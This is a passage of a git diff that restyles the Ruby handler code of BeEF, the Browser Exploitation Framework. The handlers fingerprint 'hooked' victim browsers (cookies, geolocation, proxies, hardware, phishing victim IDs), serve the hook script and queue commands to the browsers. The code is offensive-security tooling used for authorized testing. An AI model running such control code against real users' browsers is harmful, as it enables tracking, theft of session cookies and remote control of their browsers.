BD.set( session_id, 'location.country.registered_country', - "#{geoip['registered_country']['names']['en'] rescue 'Unknown'}") + (begin + geoip['registered_country']['names']['en'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.country.registered_country.isocode', - "#{geoip['registered_country']['iso_code'] rescue 'Unknown'}") + (begin + geoip['registered_country']['iso_code'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.continent', - "#{geoip['continent']['names']['en'] rescue 'Unknown'}") + (begin + geoip['continent']['names']['en'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.continent.code', - "#{geoip['continent']['code'] rescue 'Unknown'}") + (begin + geoip['continent']['code'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.latitude', - "#{geoip['location']['latitude'] rescue 'Unknown'}") + (begin + geoip['location']['latitude'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.longitude', - "#{geoip['location']['longitude'] rescue 'Unknown'}") + (begin + geoip['location']['longitude'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.timezone', - "#{geoip['location']['time_zone'] rescue 'Unknown'}") + (begin + geoip['location']['time_zone'] + rescue StandardError + 'Unknown' + end).to_s + ) end end # detect browser proxy using_proxy = false - [ - 'CLIENT_IP', - 'FORWARDED_FOR', - 'FORWARDED', - 'FORWARDED_FOR_IP', - 'PROXY_CONNECTION', - 'PROXY_AUTHENTICATE', - 'X_FORWARDED', - 'X_FORWARDED_FOR', - 'VIA' + %w[ + CLIENT_IP + FORWARDED_FOR + FORWARDED + FORWARDED_FOR_IP + PROXY_CONNECTION + PROXY_AUTHENTICATE + X_FORWARDED + X_FORWARDED_FOR + VIA ].each do |header| unless JSON.parse(zombie.httpheaders)[header].nil? using_proxy = true @@ -184,15 +232,15 @@ module BeEF # retrieve proxy client IP proxy_clients = [] - [ - 'CLIENT_IP', - 'FORWARDED_FOR', - 'FORWARDED', - 'FORWARDED_FOR_IP', - 'X_FORWARDED', - 'X_FORWARDED_FOR' + %w[ + CLIENT_IP + FORWARDED_FOR + FORWARDED + FORWARDED_FOR_IP + X_FORWARDED + X_FORWARDED_FOR ].each do |header| - proxy_clients << "#{JSON.parse(zombie.httpheaders)[header]}" unless JSON.parse(zombie.httpheaders)[header].nil? + proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil? end # retrieve proxy server @@ -203,20 +251,18 @@ module BeEF BD.set(session_id, 'network.proxy', 'Yes') proxy_log_string = "#{zombie.ip} is using a proxy" unless proxy_clients.empty? - BD.set(session_id, 'network.proxy.client', "#{proxy_clients.sort.uniq.join(',')}") + BD.set(session_id, 'network.proxy.client', proxy_clients.sort.uniq.join(',').to_s) proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]" end unless proxy_server.nil? - BD.set(session_id, 'network.proxy.server', "#{proxy_server}") + BD.set(session_id, 'network.proxy.server', proxy_server.to_s) proxy_log_string += " [server: #{proxy_server}]" - if config.get("beef.extension.network.enable") == true - if proxy_server =~ /^([\d\.]+):([\d]+)$/ - print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]") - BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy') - end + if config.get('beef.extension.network.enable') == true && (proxy_server =~ /^([\d.]+):(\d+)$/) + print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{Regexp.last_match(1)}]") + BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: Regexp.last_match(1), type: 'Proxy') end end - BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}") + BeEF::Core::Logger.instance.register('Zombie', proxy_log_string.to_s, zombie.id.to_s) end # get and store browser version @@ -224,7 +270,7 @@ module BeEF if BeEF::Filters.is_valid_browserversion?(browser_version) BD.set(session_id, 'browser.version', browser_version) else - self.err_msg "Invalid browser version returned from the hook browser's initial connection." + err_msg "Invalid browser version returned from the hook browser's initial connection." end # get and store browser string @@ -232,7 +278,7 @@ module BeEF if BeEF::Filters.is_valid_browserstring?(browser_string) BD.set(session_id, 'browser.name.reported', browser_string) else - self.err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection." end # get and store browser engine @@ -240,7 +286,7 @@ module BeEF if BeEF::Filters.is_valid_browserstring?(browser_engine) BD.set(session_id, 'browser.engine', browser_engine) else - self.err_msg "Invalid value for 'browser.engine' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.engine' returned from the hook browser's initial connection." end # get and store browser language @@ -252,7 +298,7 @@ module BeEF if BeEF::Filters.is_valid_cookies?(cookies) BD.set(session_id, 'browser.window.cookies', cookies) else - self.err_msg "Invalid cookies returned from the hook browser's initial connection." + err_msg "Invalid cookies returned from the hook browser's initial connection." end # get and store the OS name @@ -260,7 +306,7 @@ module BeEF if BeEF::Filters.is_valid_osname?(os_name) BD.set(session_id, 'host.os.name', os_name) else - self.err_msg "Invalid operating system name returned from the hook browser's initial connection." + err_msg "Invalid operating system name returned from the hook browser's initial connection." end # get and store the OS family @@ -268,7 +314,7 @@ module BeEF if BeEF::Filters.is_valid_osname?(os_family) BD.set(session_id, 'host.os.family', os_family) else - self.err_msg "Invalid value for 'host.os.family' returned from the hook browser's initial connection." + err_msg "Invalid value for 'host.os.family' returned from the hook browser's initial connection." end # get and store the OS version @@ -289,7 +335,7 @@ module BeEF if BeEF::Filters.is_valid_hwname?(hw_type) BD.set(session_id, 'hardware.type', hw_type) else - self.err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection." end # get and store the date @@ -297,7 +343,7 @@ module BeEF if BeEF::Filters.is_valid_date_stamp?(date_stamp) BD.set(session_id, 'browser.date.datestamp', date_stamp) else - self.err_msg "Invalid date returned from the hook browser's initial connection." + err_msg "Invalid date returned from the hook browser's initial connection." end # get and store page title @@ -305,7 +351,7 @@ module BeEF if BeEF::Filters.is_valid_pagetitle?(page_title) BD.set(session_id, 'browser.window.title', page_title) else - self.err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection." end # get and store page origin @@ -313,7 +359,7 @@ module BeEF if BeEF::Filters.is_valid_url?(origin) BD.set(session_id, 'browser.window.origin', origin) else - self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." end # get and store page uri @@ -321,7 +367,7 @@ module BeEF if BeEF::Filters.is_valid_url?(page_uri) BD.set(session_id, 'browser.window.uri', page_uri) else - self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." end # get and store the page referrer @@ -329,7 +375,7 @@ module BeEF if BeEF::Filters.is_valid_pagereferrer?(page_referrer) BD.set(session_id, 'browser.window.referrer', page_referrer) else - self.err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection." end # get and store hooked window host port @@ -337,7 +383,7 @@ module BeEF if BeEF::Filters.is_valid_hostname?(host_name) BD.set(session_id, 'browser.window.hostname', host_name) else - self.err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection." + err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection." end # get and store hooked window host port @@ -345,7 +391,7 @@ module BeEF if BeEF::Filters.is_valid_port?(host_port) BD.set(session_id, 'browser.window.hostport', host_port) else - self.err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection." + err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection." end # get and store the browser plugins @@ -353,7 +399,7 @@ module BeEF if BeEF::Filters.is_valid_browser_plugins?(browser_plugins) BD.set(session_id, 'browser.plugins', browser_plugins) else - self.err_msg "Invalid browser plugins returned from the hook browser's initial connection." + err_msg "Invalid browser plugins returned from the hook browser's initial connection." end # get and store the system platform @@ -361,7 +407,7 @@ module BeEF if BeEF::Filters.is_valid_system_platform?(system_platform) BD.set(session_id, 'browser.platform', system_platform) else - self.err_msg "Invalid browser platform returned from the hook browser's initial connection." + err_msg "Invalid browser platform returned from the hook browser's initial connection." end # get and store the zombie screen color depth @@ -369,7 +415,7 @@ module BeEF if BeEF::Filters.nums_only?(screen_colordepth) BD.set(session_id, 'hardware.screen.colordepth', screen_colordepth) else - self.err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection." end # get and store the zombie screen width @@ -377,7 +423,7 @@ module BeEF if BeEF::Filters.nums_only?(screen_size_width) BD.set(session_id, 'hardware.screen.size.width', screen_size_width) else - self.err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection." end # get and store the zombie screen height @@ -385,16 +431,15 @@ module BeEF if BeEF::Filters.nums_only?(screen_size_height) BD.set(session_id, 'hardware.screen.size.height', screen_size_height) else - self.err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection." end - # get and store the window height window_height = get_param(@data['results'], 'browser.window.size.height') if BeEF::Filters.nums_only?(window_height) BD.set(session_id, 'browser.window.size.height', window_height) else - self.err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection." end # get and store the window width @@ -402,18 +447,18 @@ module BeEF if BeEF::Filters.nums_only?(window_width) BD.set(session_id, 'browser.window.size.width', window_width) else - self.err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection." end # store and log IP details of host print_debug("Hooked browser [id:#{zombie.id}] has IP [ip: #{zombie.ip}]") - if os_name != nil and os_version != nil - BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host', :os => os_name + "-" + os_version) - elsif os_name != nil - BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host', :os => os_name) + if !os_name.nil? and !os_version.nil? + BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name + '-' + os_version) + elsif !os_name.nil? + BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name) else - BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host') + BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host') end # get and store the yes|no value for browser capabilities @@ -432,14 +477,14 @@ module BeEF 'browser.capabilities.webworker', 'browser.capabilities.websocket', 'browser.capabilities.webgl', - 'browser.capabilities.webrtc', + 'browser.capabilities.webrtc' ] capabilities.each do |k| v = get_param(@data['results'], k) if BeEF::Filters.is_valid_yes_no?(v) BD.set(session_id, k, v) else - self.err_msg "Invalid value for #{k} returned from the hook browser's initial connection." + err_msg "Invalid value for #{k} returned from the hook browser's initial connection." end end @@ -448,7 +493,7 @@ module BeEF if BeEF::Filters.is_valid_memory?(memory) BD.set(session_id, 'hardware.memory', memory) else - self.err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection." end # get and store the value for hardware.gpu @@ -456,7 +501,7 @@ module BeEF if BeEF::Filters.is_valid_gpu?(gpu) BD.set(session_id, 'hardware.gpu', gpu) else - self.err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection." end # get and store the value for hardware.gpu.vendor @@ -464,7 +509,7 @@ module BeEF if BeEF::Filters.is_valid_gpu?(gpu_vendor) BD.set(session_id, 'hardware.gpu.vendor', gpu_vendor) else - self.err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection." end # get and store the value for hardware.cpu.arch @@ -472,7 +517,7 @@ module BeEF if BeEF::Filters.is_valid_cpu?(cpu_arch) BD.set(session_id, 'hardware.cpu.arch', cpu_arch) else - self.err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection." end # get and store the value for hardware.cpu.cores @@ -480,15 +525,15 @@ module BeEF if BeEF::Filters.alphanums_only?(cpu_cores) BD.set(session_id, 'hardware.cpu.cores', cpu_cores) else - self.err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection." end # get and store the value for hardware.battery.level battery_level = get_param(@data['results'], 'hardware.battery.level') - if battery_level == 'unknown' || battery_level =~ /\A[\d\.]+%\z/ + if battery_level == 'unknown' || battery_level =~ /\A[\d.]+%\z/ BD.set(session_id, 'hardware.battery.level', battery_level) else - self.err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection." end # get and store the value for hardware.screen.touchenabled @@ -496,7 +541,7 @@ module BeEF if BeEF::Filters.is_valid_yes_no?(touch_enabled) BD.set(session_id, 'hardware.screen.touchenabled', touch_enabled) else - self.err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection." + err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection." end if config.get('beef.integration.phishing_frenzy.enable') @@ -506,34 +551,29 @@ module BeEF if BeEF::Filters.alphanums_only?(victim_uid) BD.set(session_id, 'PhishingFrenzyUID', victim_uid) else - self.err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection." + err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection." end end # log a few info of newly hooked zombie in the console - print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" + print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port}]" # add localhost as network host if config.get('beef.extension.network.enable') - print_debug("Hooked browser has network interface 127.0.0.1") - BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')) + print_debug('Hooked browser has network interface 127.0.0.1') + BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: '127.0.0.1', hostname: 'localhost', + os: BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')) end # check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel # is WebSockets, then ARe rules are triggered after channel is established. - unless config.get("beef.http.websocket.enable") - BeEF::Core::AutorunEngine::Engine.instance.run(zombie.id, browser_name, browser_version, os_name, os_version) - end + BeEF::Core::AutorunEngine::Engine.instance.run(zombie.id, browser_name, browser_version, os_name, os_version) unless config.get('beef.http.websocket.enable') end def get_param(query, key) - (query.class == Hash and query.has_key?(key)) ? query[key].to_s : nil + (query.instance_of?(Hash) and query.has_key?(key)) ? query[key].to_s : nil end end - - end end end - - diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 08db19c20..5aa962e58 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -4,107 +4,107 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Handlers - class Commands + module Core + module Handlers + class Commands + include BeEF::Core::Handlers::Modules::BeEFJS + include BeEF::Core::Handlers::Modules::Command - include BeEF::Core::Handlers::Modules::BeEFJS - include BeEF::Core::Handlers::Modules::Command + @data = {} - @data = {} + # + # Handles command data + # + # @param [Hash] data Data from command execution + # @param [Class] kclass Class of command + # + # @todo Confirm argument data variable type [radoen]: type is Hash confirmed. + # + def initialize(data, kclass) + @kclass = BeEF::Core::Command.const_get(kclass.capitalize) + @data = data + setup + end - # - # Handles command data - # - # @param [Hash] data Data from command execution - # @param [Class] kclass Class of command - # - # @todo Confirm argument data variable type [radoen]: type is Hash confirmed. - # - def initialize(data, kclass) - @kclass = BeEF::Core::Command.const_get(kclass.capitalize) - @data = data - setup - end + # + # @note Initial setup function, creates the command module and saves details to datastore + # + def setup + @http_params = @data['request'].params + @http_header = {} + http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }.each do |key, value| + @http_header[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') + end - # - # @note Initial setup function, creates the command module and saves details to datastore - # - def setup - @http_params = @data['request'].params - @http_header = {} - http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value| - @http_header[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') - } + # @note get and check command id from the request + command_id = get_param(@data, 'cid') + unless command_id.integer? + print_error 'command_id is invalid' + return + end - # @note get and check command id from the request - command_id = get_param(@data, 'cid') - unless command_id.integer? - print_error "command_id is invalid" - return + # @note get and check session id from the request + beefhook = get_param(@data, 'beefhook') + unless BeEF::Filters.is_valid_hook_session_id?(beefhook) + print_error 'BeEF hook is invalid' + return + end + + result = get_param(@data, 'results') + + # @note create the command module to handle the response + command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) + command.build_callback_datastore(result, command_id, beefhook, @http_params, @http_header) + command.session_id = beefhook + command.post_execute if command.respond_to?(:post_execute) + + # @todo this is the part that store result on db and the modify + # will be accessible from all the framework and so UI too + # @note get/set details for datastore and log entry + command_friendly_name = command.friendlyname + if command_friendly_name.empty? + print_error 'command friendly name is empty' + return + end + + command_status = @data['status'] + unless command_status.integer? + print_error 'command status is invalid' + return + end + + command_results = @data['results'] + if command_results.empty? + print_error 'command results are empty' + return + end + + # @note save the command module results to the datastore and create a log entry + command_results = { 'data' => command_results } + BeEF::Core::Models::Command.save_result( + beefhook, + command_id, + command_friendly_name, + command_results, + command_status + ) + end + + # + # @note Returns parameter from hash + # + # @param [Hash] query Hash of data to return data from + # @param [String] key Key to search for and return inside `query` + # + # @return Value referenced in hash at the supplied key + # + def get_param(query, key) + return unless query.instance_of?(Hash) + return unless query.key?(key) + + query[key] + end end - - # @note get and check session id from the request - beefhook = get_param(@data, 'beefhook') - unless BeEF::Filters.is_valid_hook_session_id?(beefhook) - print_error "BeEF hook is invalid" - return - end - - result = get_param(@data, 'results') - - # @note create the command module to handle the response - command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) - command.build_callback_datastore(result, command_id, beefhook, @http_params, @http_header) - command.session_id = beefhook - command.post_execute if command.respond_to?(:post_execute) - - # @todo this is the part that store result on db and the modify - # will be accessible from all the framework and so UI too - # @note get/set details for datastore and log entry - command_friendly_name = command.friendlyname - if command_friendly_name.empty? - print_error 'command friendly name is empty' - return - end - - command_status = @data['status'] - unless command_status.integer? - print_error 'command status is invalid' - return - end - - command_results = @data['results'] - if command_results.empty? - print_error 'command results are empty' - return - end - - # @note save the command module results to the datastore and create a log entry - command_results = { 'data' => command_results } - BeEF::Core::Models::Command.save_result( - beefhook, - command_id, - command_friendly_name, - command_results, - command_status - ) - end - - # - # @note Returns parameter from hash - # - # @param [Hash] query Hash of data to return data from - # @param [String] key Key to search for and return inside `query` - # - # @return Value referenced in hash at the supplied key - # - def get_param(query, key) - return unless query.class == Hash - return unless query.key?(key) - query[key] end end end -end -end diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index 10ee07002..b1de230a9 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -4,137 +4,135 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Handlers + module Core + module Handlers + # @note This class handles connections from hooked browsers to the framework. + class HookedBrowsers < BeEF::Core::Router::Router + include BeEF::Core::Handlers::Modules::BeEFJS + include BeEF::Core::Handlers::Modules::LegacyBeEFJS + include BeEF::Core::Handlers::Modules::Command - # @note This class handles connections from hooked browsers to the framework. - class HookedBrowsers < BeEF::Core::Router::Router - - - include BeEF::Core::Handlers::Modules::BeEFJS - include BeEF::Core::Handlers::Modules::LegacyBeEFJS - include BeEF::Core::Handlers::Modules::Command - - #antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file. - configure do - disable :protection - end - - # Process HTTP requests sent by a hooked browser to the framework. - # It will update the database to add or update the current hooked browser - # and deploy some command modules or extensions to the hooked browser. - get '/' do - @body = '' - params = request.query_string - #@response = Rack::Response.new(body=[], 200, header={}) - config = BeEF::Core::Configuration.instance - - # @note check source ip address of browser - permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet') - if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty? - BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.") - error 404 - end - - found = false - permitted_hooking_subnet.each do |subnet| - found = true if IPAddr.new(subnet).include?(request.ip) - end - - unless found - BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.") - error 404 - end - - excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet') - unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty? - excluded_ip_hooked = false - - excluded_hooking_subnet.each do |subnet| - excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip) + # antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file. + configure do + disable :protection end - if excluded_ip_hooked - BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.") - error 404 - end - end + # Process HTTP requests sent by a hooked browser to the framework. + # It will update the database to add or update the current hooked browser + # and deploy some command modules or extensions to the hooked browser. + get '/' do + @body = '' + params = request.query_string + # @response = Rack::Response.new(body=[], 200, header={}) + config = BeEF::Core::Configuration.instance - # @note get zombie if already hooked the framework - hook_session_name = config.get('beef.http.hook_session_name') - hook_session_id = request[hook_session_name] - begin - raise ActiveRecord::RecordNotFound if hook_session_id.nil? - hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hook_session_id).first - rescue ActiveRecord::RecordNotFound - hooked_browser = false - end - - # @note is a new browser so return instructions to set up the hook - if not hooked_browser - - # @note generate the instructions to hook the browser - host_name = request.host - (print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name) - - # Generate the hook js provided to the hookwed browser (the magic happens here) - if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable") - build_beefjs!(host_name) - else - legacy_build_beefjs!(host_name) - end - # @note is a known browser so send instructions - else - # @note Check if we haven't seen this browser for a while, log an event if we haven't - if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60 - BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}") - end - - # @note record the last poll from the browser - hooked_browser.lastseen = Time.new.to_i - - # @note Check for a change in zombie IP and log an event - if config.get('beef.http.use_x_forward_for') == true - if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"] - BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.env["HTTP_X_FORWARDED_FOR"]}","#{hooked_browser.id}") - hooked_browser.ip = request.env["HTTP_X_FORWARDED_FOR"] + # @note check source ip address of browser + permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet') + if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty? + BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.") + error 404 end - else - if hooked_browser.ip != request.ip - BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}") - hooked_browser.ip = request.ip + + found = false + permitted_hooking_subnet.each do |subnet| + found = true if IPAddr.new(subnet).include?(request.ip) end + + unless found + BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.") + error 404 + end + + excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet') + unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty? + excluded_ip_hooked = false + + excluded_hooking_subnet.each do |subnet| + excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip) + end + + if excluded_ip_hooked + BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.") + error 404 + end + end + + # @note get zombie if already hooked the framework + hook_session_name = config.get('beef.http.hook_session_name') + hook_session_id = request[hook_session_name] + begin + raise ActiveRecord::RecordNotFound if hook_session_id.nil? + + hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first + rescue ActiveRecord::RecordNotFound + hooked_browser = false + end + + # @note is a new browser so return instructions to set up the hook + if hooked_browser + # @note Check if we haven't seen this browser for a while, log an event if we haven't + if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60 + BeEF::Core::Logger.instance.register('Zombie', "#{hooked_browser.ip} appears to have come back online", hooked_browser.id.to_s) + end + + # @note record the last poll from the browser + hooked_browser.lastseen = Time.new.to_i + + # @note Check for a change in zombie IP and log an event + if config.get('beef.http.use_x_forward_for') == true + if hooked_browser.ip != request.env['HTTP_X_FORWARDED_FOR'] + BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.env['HTTP_X_FORWARDED_FOR']}", hooked_browser.id.to_s) + hooked_browser.ip = request.env['HTTP_X_FORWARDED_FOR'] + end + elsif hooked_browser.ip != request.ip + BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.ip}", hooked_browser.id.to_s) + hooked_browser.ip = request.ip + end + + hooked_browser.count! + hooked_browser.save! + + # @note add all available command module instructions to the response + zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false) + zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + + # @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered + are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id) + are_executions.each do |are_exec| + @body += are_exec.mod_body + are_exec.update(is_sent: true, exec_time: Time.new.to_i) + end + + # @note We dynamically get the list of all browser hook handler using the API and register them + BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response) + else + + # @note generate the instructions to hook the browser + host_name = request.host + unless BeEF::Filters.is_valid_hostname?(host_name) + (print_error 'Invalid host name' + return) + end + + # Generate the hook js provided to the hookwed browser (the magic happens here) + if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable') + build_beefjs!(host_name) + else + legacy_build_beefjs!(host_name) + end + # @note is a known browser so send instructions + end + + # @note set response headers and body + headers 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/javascript', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST, GET' + @body end - - hooked_browser.count! - hooked_browser.save! - - # @note add all available command module instructions to the response - zombie_commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} - - # @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered - are_executions = BeEF::Core::Models::Execution.where(:is_sent => false, :session_id => hook_session_id) - are_executions.each do |are_exec| - @body += are_exec.mod_body - are_exec.update(:is_sent => true, :exec_time => Time.new.to_i) - end - - # @note We dynamically get the list of all browser hook handler using the API and register them - BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response) end - - # @note set response headers and body - headers 'Pragma' => 'no-cache', - 'Cache-Control' => 'no-cache', - 'Expires' => '0', - 'Content-Type' => 'text/javascript', - 'Access-Control-Allow-Origin' => '*', - 'Access-Control-Allow-Methods' => 'POST, GET' - @body end end - -end -end end diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index e27ff2bc2..808f8af62 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -7,10 +7,8 @@ module BeEF module Core module Handlers module Modules - # @note Purpose: avoid rewriting several times the same code. module BeEFJS - # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object def build_beefjs!(req_host) @@ -21,31 +19,30 @@ module BeEF beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js) + ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js] # @note BeEF libraries: need Eruby evaluation and obfuscation - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js 